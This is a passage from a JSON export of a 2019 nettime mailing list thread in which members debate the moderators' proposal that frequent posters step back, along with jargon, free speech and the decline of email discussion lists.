tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                "id": "00013",
                                "date": "Fri, 7 Jun 2019 21:07:21 +0200",
                                "to": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                                "message-id": "20190607190721.GA9266@tau1.ceti.pl",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00013.html",
                                "content-type": "text/plai",
                                "author_name": "Tomasz Rola",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            },
                            {
                                "from": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                                "content": "Thank you, Tomasz, for chiming in.\n\nYour definitions are interesting. But if we take them as a starting \npoint, I find myself still struggling to understand Frank's intended \nput-down, as well as his complaint. This list serves no real purpose \nbeyond a kind of digital entertainment at a virtual social gathering. \nI'm not dismissing it's value in that context, but as a group (however \nloosely constructed) we are not self-consciously engaged in the active \nprocess of \"changing\" anything except our own minds through dialogue. \n(Or not changing them, as is likely often the case.)\n\nSo, Frank, if that definition of bourgeois suits you, and if you agree \nwith Tomasz's framing on the connection to free speech, then why are you \nhere?\n\nFor those of us who do live in places where speech can create \ntrouble--and no doubt many of us do, and more of us may yet soon--then \nit would seem a gratuitous swipe at the speech they post here to dismiss \nit that way -- and to suggest that the moderators are ill-equipped to \nmanage it or understand it in that context.\n\nAs for my \"feeding\" habits, indeed, quite right. If anything my media \nintake is polymorphously perverse.\n\nSascha\n\n\nOn 6/7/19 3:07 PM, Tomasz Rola wrote:\nOn Fri, Jun 07, 2019 at 01:18:23PM -0400, Sascha D. Freudenheim wrote:\nI resemble that remark, and I object to it strenuously!\n\nWTF is a \"consistent bourgeois misunderstanding of contextless 'free\nspeech'\"? And what makes that misunderstanding \"bourgeois\" in\nnature?\n\nFor me, \"bourgeois\" is equivalent to \"middle class\", whatever this one\nmeans. In parts of the world where \"bourgeois\" constitutes a dictating\nmajority, \"free speech\" is, IMHO, equivalent to casual speech and is a\nway to entertain during social gatherings. In other places, this is a\nway to put oneself in a troublesome situation (with degree of\ntroublesome varying from ostracism to execution).\n\n[...]\nAs for the ideological monoculture... I don't know what to do about\nthat except go back to my list filtering and lurking.\n\nTo avoid ideological monoculture, per analogy to avoiding eating\nmonoculture, feed yourself from different sources.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                "id": "00015",
                                "date": "Fri, 7 Jun 2019 17:49:37 -0400",
                                "to": "masz Rola <rtomek@ceti.pl>, nettime-l@mail.kein.org",
                                "message-id": "905d82fc&#45;c5a6&#45;0145&#45;2f05&#45;78b387014e94@sascha.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00015.html",
                                "content-type": "text/plai",
                                "author_name": "Sascha D. Freudenheim",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            }
                        ],
                        "from": "\"Sascha D. Freudenheim\" <sascha@sascha.com>",
                        "content": "I resemble that remark, and I object to it strenuously!\n\nWTF is a \"consistent bourgeois misunderstanding of contextless 'free \nspeech'\"? And what makes that misunderstanding \"bourgeois\" in nature?\n\nAs the moderators have heard me say before, my two issues with this list \nremain that it is (a) too much a monoculture of ideas and (b) relies too \nheavily on jargon.\n\nJargon that impedes comprehension, while at the same time softly \nslandering those \"we\" (used loosely) dislike (c.f., \"bourgeois\"; also \nthe use of \"neoliberal\" in the initial post).\n\nSolzhenitsyn (are we allowed to reference him, or is he too much of a \nconservative to be taken seriously here?) wrote, in his stellar book \"In \nThe First Circle,\" about the concept of the Language of Maximum Clarity. \nWe should strive for this (and it's certainly the opposite of \"bourgeois\").\n\nAs for the ideological monoculture... I don't know what to do about that \nexcept go back to my list filtering and lurking.\n\nSascha\n\n\n\nOn 6/7/19 12:08 PM, frank tigrero wrote:\nOK, I'll bite, as someone who has posted much less than others, but been a member forever.\n\nThis new policy as is as shallow and milquetoast as YouTube's reluctance to ban actual nazis, misogynists and white supremacists from its platform and all the subsequent mess that has been roiling social media over the last week.\n\nNow, there aren't too many outright types of these people on nettime (a few, like Morlock and others) but this consistent bourgeois misunderstanding of contextless \"free speech\" and a libertarian fetish for nonintervention is really galling, especially on a list that strives hard to understand the social and political and ideological underpinnings of what is ostensibly neutral (eg technology).\n\nI urge you to actually start moderating again.\n\nFrank.\n\n\n----- Original message -----\nFrom: \"nettime mod squad - nettime@kein.org\" <frank.tigrero.c15353ac72.nettime#kein.org@ob.0sg.net>\nTo: nettime-l@kein.org\nSubject: <nettime> Nettime is in bad shape. Let's see if we can change it.\nDate: Friday, June 07, 2019 10:41 AM\n\nNettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                        "id": "00011",
                        "date": "Fri, 7 Jun 2019 13:18:23 -0400",
                        "to": "frank tigrero <frank.20.tigrero@xoxy.net>, nettime-l@mail.kein.org",
                        "message-id": "91f1b156&#45;0673&#45;bdb9&#45;c92d&#45;a5ef616c63e8@sascha.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00011.html",
                        "content-type": "text/plai",
                        "author_name": "Sascha D. Freudenheim",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "John Preston <wcerfgba@riseup.net>",
                        "content": "Just adding my two cents, as per the call. :)I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)JohnOn 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote:\nNettime is in bad shape, don't you think?It has still a lot of goodwill, and more generally there's renewedinterest in formats of exchange and collective thinking thataren't defined by the logic of social media. But the dynamics thatsocial media companies exploit are hardly limited to a handful ofplatforms. For example, nettime has its own 'influencers' -- a 1%,so to speak -- who generate the vast majority of list traffic.That's been true for years. The discussions they sustain mayvariously seem interesting or annoying, but either way they'vebecome somewhat formulaic. An attentive reader knows more or lesswhat to expect based solely the subject and the sender; and evenmeta-discussions about whether the list is dominated or by this orthat tendency are largely dominated by the same few people.Some might argue the debates that have animated nettime over thelast year -- the trajectories of postwar society, neoliberalism,the 'digital,' complexity, surveillance and big tech, Brexit,media and elections, Assange, even the Anthropocene in all itsterrifying inclusiveness -- are the defining issues of the day.Maybe so. But if the nettime project had settled for a consensusmodel of the defining issues of the mid-'90s, it would never havegotten off the ground, and it certainly wouldn't exist almost 25years later. The challenge, we think, is to maintain a space thatattracts ill-defined ideas and uncertain issues -- things andnot-things that don't quite exist yet and yet haven't been buriedunder torrents of authority and theory.So, what can we do?In the past, we've asked people to think about outreach -- say,inviting new people from new contexts. It seems like that's hadlimited success; but at a time when nettime has been limpingalong, it's hard to get excited about inviting people to join anenvironment so heavily defined by habit. We've also joked thatshutting it down before it fades into complete senescence might bebest. But that joke wasn't really funny, in part because it wasn'tmeant to be: it was a way of expressing serious concerns about thelist's increasingly parochial status.Now, we have a simple proposal: let's switch roles.It goes like this:If you've posted more than others to the list in the last 60 or 90or 120 or 180 days -- the math matters less than the spirit -- takea break. Let others define nettime, a space made up of nearly 5000subscribers.If you haven't posted to the list -- say, because it seemed likeyour ideas, concerns, or whatever you want to share wouldn't fitwith nettime's habits -- maybe that will change.Think of it as an un-grand experiment: a way to see what elsemight happen, who else might speak, what less familiar ideas,perspectives, or styles might spring up. Maybe the list will fadeinto silence, and we'll be left with a paradoxical object, a listcomposed *entirely* of lurkers -- not such a bad non-end fornettime. Or maybe not. There might be many ways to find out. Fornow, rather than the 1% debating how narrowly to define goodmanners, let's see if a different 'we' can change things.-- the mod squad (Ted and Felix)#  distributed via <nettime>: no commercial use without permission#  <nettime>  is a moderated mailing list for net criticism,#  collaborative text filtering and cultural politics of the nets#  more info: http://mx.kein.org/mailman/listinfo/nettime-l#  archive: http://www.nettime.org contact: nettime@kein.org#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00014",
                        "date": "Fri, 07 Jun 2019 21:34:04 +0100",
                        "to": "nettime-l@mail.kein.org, nettime mod squad <nettime@kein.org>, nettime-l@kein.org",
                        "message-id": "06EF1A20&#45;1738&#45;405C&#45;85E4&#45;9C90FBCCD2CC@riseup.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00014.html",
                        "content-type": "multipart/mixed",
                        "author_name": "John Preston",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "from": "Udruga UKE <udrugauke@gmail.com>",
                        "content": "Ted and Felix,firstly let me say that it's nice to read your email concerning the list.I guess lots of us lurkers think we are not eloquent enough to get into discussions. Perhaps some of us are not used to virtual exchange, or just cant bother to take sides that are so uniform.It might happen that we are killing the list if we don't let hyper active ones to act. At the end, lurkers are here to learn from drama of leftright hyper zigzag.Personally, I like some posts that some others don't and would hate to miss them. My daily amount of Morlock and Morlock-haters is something I love to hate. I would miss it. If that is what nettime is, so what?This said, I fully expect that other lurkers write and hopefully there is new wind in nettime sails, so am\n\n fully supporting your initiative.KrunoOn Fri, Jun 7, 2019, 16:42 nettime mod squad <nettime@kein.org> wrote:Nettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\nOn Fri, Jun 7, 2019, 16:42 nettime mod squad <nettime@kein.org> wrote:Nettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\nOn Fri, Jun 7, 2019, 16:42 nettime mod squad <nettime@kein.org> wrote:Nettime is in bad shape, don't you think?\n\nIt has still a lot of goodwill, and more generally there's renewed\ninterest in formats of exchange and collective thinking that\naren't defined by the logic of social media. But the dynamics that\nsocial media companies exploit are hardly limited to a handful of\nplatforms. For example, nettime has its own 'influencers' -- a 1%,\nso to speak -- who generate the vast majority of list traffic.\nThat's been true for years. The discussions they sustain may\nvariously seem interesting or annoying, but either way they've\nbecome somewhat formulaic. An attentive reader knows more or less\nwhat to expect based solely the subject and the sender; and even\nmeta-discussions about whether the list is dominated or by this or\nthat tendency are largely dominated by the same few people.\n\nSome might argue the debates that have animated nettime over the\nlast year -- the trajectories of postwar society, neoliberalism,\nthe 'digital,' complexity, surveillance and big tech, Brexit,\nmedia and elections, Assange, even the Anthropocene in all its\nterrifying inclusiveness -- are the defining issues of the day.\nMaybe so. But if the nettime project had settled for a consensus\nmodel of the defining issues of the mid-'90s, it would never have\ngotten off the ground, and it certainly wouldn't exist almost 25\nyears later. The challenge, we think, is to maintain a space that\nattracts ill-defined ideas and uncertain issues -- things and\nnot-things that don't quite exist yet and yet haven't been buried\nunder torrents of authority and theory.\n\nSo, what can we do?\n\nIn the past, we've asked people to think about outreach -- say,\ninviting new people from new contexts. It seems like that's had\nlimited success; but at a time when nettime has been limping\nalong, it's hard to get excited about inviting people to join an\nenvironment so heavily defined by habit. We've also joked that\nshutting it down before it fades into complete senescence might be\nbest. But that joke wasn't really funny, in part because it wasn't\nmeant to be: it was a way of expressing serious concerns about the\nlist's increasingly parochial status.\n\nNow, we have a simple proposal: let's switch roles.\n\nIt goes like this:\n\nIf you've posted more than others to the list in the last 60 or 90\nor 120 or 180 days -- the math matters less than the spirit -- take\na break. Let others define nettime, a space made up of nearly 5000\nsubscribers.\n\nIf you haven't posted to the list -- say, because it seemed like\nyour ideas, concerns, or whatever you want to share wouldn't fit\nwith nettime's habits -- maybe that will change.\n\nThink of it as an un-grand experiment: a way to see what else\nmight happen, who else might speak, what less familiar ideas,\nperspectives, or styles might spring up. Maybe the list will fade\ninto silence, and we'll be left with a paradoxical object, a list\ncomposed *entirely* of lurkers -- not such a bad non-end for\nnettime. Or maybe not. There might be many ways to find out. For\nnow, rather than the 1% debating how narrowly to define good\nmanners, let's see if a different 'we' can change things.\n\n\n-- the mod squad (Ted and Felix)\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00017",
                        "date": "Sat, 8 Jun 2019 14:56:02 +0200",
                        "to": "nettime mod squad <nettime@kein.org>, nettime-l@mail.kein.org",
                        "message-id": "CAGFPF8M+JD_aRcFnOh9Y5a3fOL6cLQ=KfHpDAhi&#45;XupLd48NJA@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00017.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Udruga UKE",
                        "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                    },
                    {
                        "follow-up": [
                            {
                                "from": "John Preston <wcerfgba@riseup.net>",
                                "content": "Each medium of communication has a different quality and bandwidth about\nit, and we can use a multitude of media -- nettime doesn't have to be\n/just/ a mailing list. Some of us might be better able to contribute via\nIRC or other more real-time media.\n\nJohn\n\nOn 2019-06-08 15:06, John Preston wrote:\n\n> Just forwarding this up.\n> \n> -------------------------\n> FROM: Karim Brohi <karim@trauma.org>\n> SENT: 8 June 2019 14:35:45 BST\n> TO: John Preston <wcerfgba@riseup.net>\n> SUBJECT: Re: <nettime> Nettime is in bad shape. Let's see if we can change it. \n> \n> Nettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now. \n> I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.  Back then email was cool.  Now, for most, email tends to be a flood of work stuff and a pseudo todo list.  Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit. \n> \n> But there's no other suitable medium either.  Social media platforms are too brief to develop ideas.  Too easy to fire back \"your idea is stupid\".  Blog posts and newsletters are too one-sided.  Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.  The post 'belongs' to the originator, not to the community. \n> \n> Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.  (Email alerts end up in... email). \n> \n> In brief - I think it's the medium not the message.  The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.  That was email, but now it isn't email.  I don't know what  is now. \n> \n> Karim \n> \n> On Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote: \n> Just adding my two cents, as per the call. :)\n> \n> I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I came here because I am trying to develop as an artist, working with the net as a medium and reflecting critically on the net and its constituent parts. I don't post in to every thread because a lot of the time I don't have anything worthwhile to add, but I appreciate reading: most of the contributions on this list are really insightful.\n> \n> The fact that people are posting meta threads like this is a good sign to me, I appreciate a community that can take a critical view of itself. If nettime does rap up, let me know where you all go, I'd like to talk more. :)\n> \n> John\n> \n> On 7 June 2019 18:38:46 BST, nettime mod squad <nettime@kein.org> wrote: \n> \n> Nettime is in bad shape, don't you think?\n> \n> It has still a lot of goodwill, and more generally there's renewed\n> interest in formats of exchange and collective thinking that\n> aren't defined by the logic of social media. But the dynamics that\n> social media companies exploit are hardly limited to a handful of\n> platforms. For example, nettime has its own 'influencers' -- a 1%,\n> so to speak -- who generate the vast majority of list traffic.\n> That's been true for years. The discussions they sustain may\n> variously seem interesting or annoying, but either way they've\n> become somewhat formulaic. An attentive reader knows more or less\n> what to expect based solely the subject and the sender; and even\n> meta-discussions about whether the list is dominated or by this or\n> that tendency are largely dominated by the same few people.\n> \n> Some might argue the debates that have animated nettime over the\n> last year -- the trajectories of postwar society, neoliberalism,\n> the 'digital,' complexity, surveillance and big tech, Brexit,\n> media and elections, Assange, even the Anthropocene in all its\n> terrifying inclusiveness -- are the defining issues of the day.\n> Maybe so. But if the nettime project had settled for a consensus\n> model of the defining issues of the mid-'90s, it would never have\n> gotten off the ground, and it certainly wouldn't exist almost 25\n> years later. The challenge, we think, is to maintain a space that\n> attracts ill-defined ideas and uncertain issues -- things and\n> not-things that don't quite exist yet and yet haven't been buried\n> under torrents of authority and theory.\n> \n> So, what can we do?\n> \n> In the past, we've asked people to think about outreach -- say,\n> inviting new people from new contexts. It seems like that's had\n> limited success; but at a time when nettime has been limping\n> along, it's hard to get excited about inviting people to join an\n> environment so heavily defined by habit. We've also joked that\n> shutting it down before it fades into complete senescence might be\n> best. But that joke wasn't really funny, in part because it wasn't\n> meant to be: it was a way of expressing serious concerns about the\n> list's increasingly parochial status.\n> \n> Now, we have a simple proposal: let's switch roles.\n> \n> It goes like this:\n> \n> If you've posted more than others to the list in the last 60 or 90\n> or 120 or 180 days -- the math matters less than the spirit -- take\n> a break. Let others define nettime, a space made up of nearly 5000\n> subscribers.\n> \n> If you haven't posted to the list -- say, because it seemed like\n> your ideas, concerns, or whatever you want to share wouldn't fit\n> with nettime's habits -- maybe that will change.\n> \n> Think of it as an un-grand experiment: a way to see what else\n> might happen, who else might speak, what less familiar ideas,\n> perspectives, or styles might spring up. Maybe the list will fade\n> into silence, and we'll be left with a paradoxical object, a list\n> composed *entirely* of lurkers -- not such a bad non-end for\n> nettime. Or maybe not. There might be many ways to find out. For\n> now, rather than the 1% debating how narrowly to define good\n> manners, let's see if a different 'we' can change things.\n> \n> -- the mod squad (Ted and Felix)\n> \n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n> #  distributed via <nettime>: no commercial use without permission\n> #  <nettime>  is a moderated mailing list for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n> #  archive: http://www.nettime.org contact: nettime@kein.org\n> #  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n",
                                "id": "00020",
                                "date": "Sat, 08 Jun 2019 07:45:08 -0700",
                                "to": "nettime-l@mail.kein.org",
                                "message-id": "f8f8006bb46447a36e1e1a7d5171fbda@riseup.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00020.html",
                                "content-type": "text/plai",
                                "author_name": "John Preston",
                                "subject": "Re: <nettime> Nettime is in bad shape. Let's see if we can change\tit."
                            }
                        ],
                        "from": "John Preston <wcerfgba@riseup.net>",
                        "content": "Just forwarding this up.\n\nFrom: Karim Brohi <karim@trauma.org>\nSent: 8 June 2019 14:35:45 BST\nTo: John Preston <wcerfgba@riseup.net>\nSubject: Re: <nettime> Nettime is in bad shape. Let's see if we can change it.\n\n\nNettime is in bad shape - as are most (all?) of the email based discussion groups on the Interwebs now.I run another mailing list, started in 1995 in a medical specialty area- - which finds itself in the same state.\n\n Back then email was cool.\n\n Now, for most, email tends to be a flood of work stuff and a pseudo todo list.\n\n Drafting an email is now work, and not associated with pleasure or pure intellectual pursuit.But there's no other suitable medium either.\n\n Social media platforms are too brief to develop ideas.\n\n Too easy to fire back \"your idea is stupid\".\n\n Blog posts and newsletters are too one-sided.\n\n Developed/owned by a specific individual/group of individuals, Comments never have the same precedence as the original post.\n\n The post 'belongs' to the originator, not to the community.Maybe usenet/google groups comes close, but nobody uses them - perhaps because there's no (effective) 'app for that', and there has to be an active process of logging in.\n\n (Email alerts end up in... email).In brief - I think it's the medium not the message.\n\n The whole Internet needs a new medium that encourages long-form discourse and thereby deep community.\n\n That was email, but now it isn't email.\n\n I don't know what\n\n is now.KarimOn Fri, 7 Jun 2019 at 21:34, John Preston <wcerfgba@riseup.net> wrote:Just adding my two cents, as per the call. :)I only discovered nettime in the last few months. I'm a computer-child, I've grown up on the net, and one of the people who now take a more conservative or critical approach to tech. I 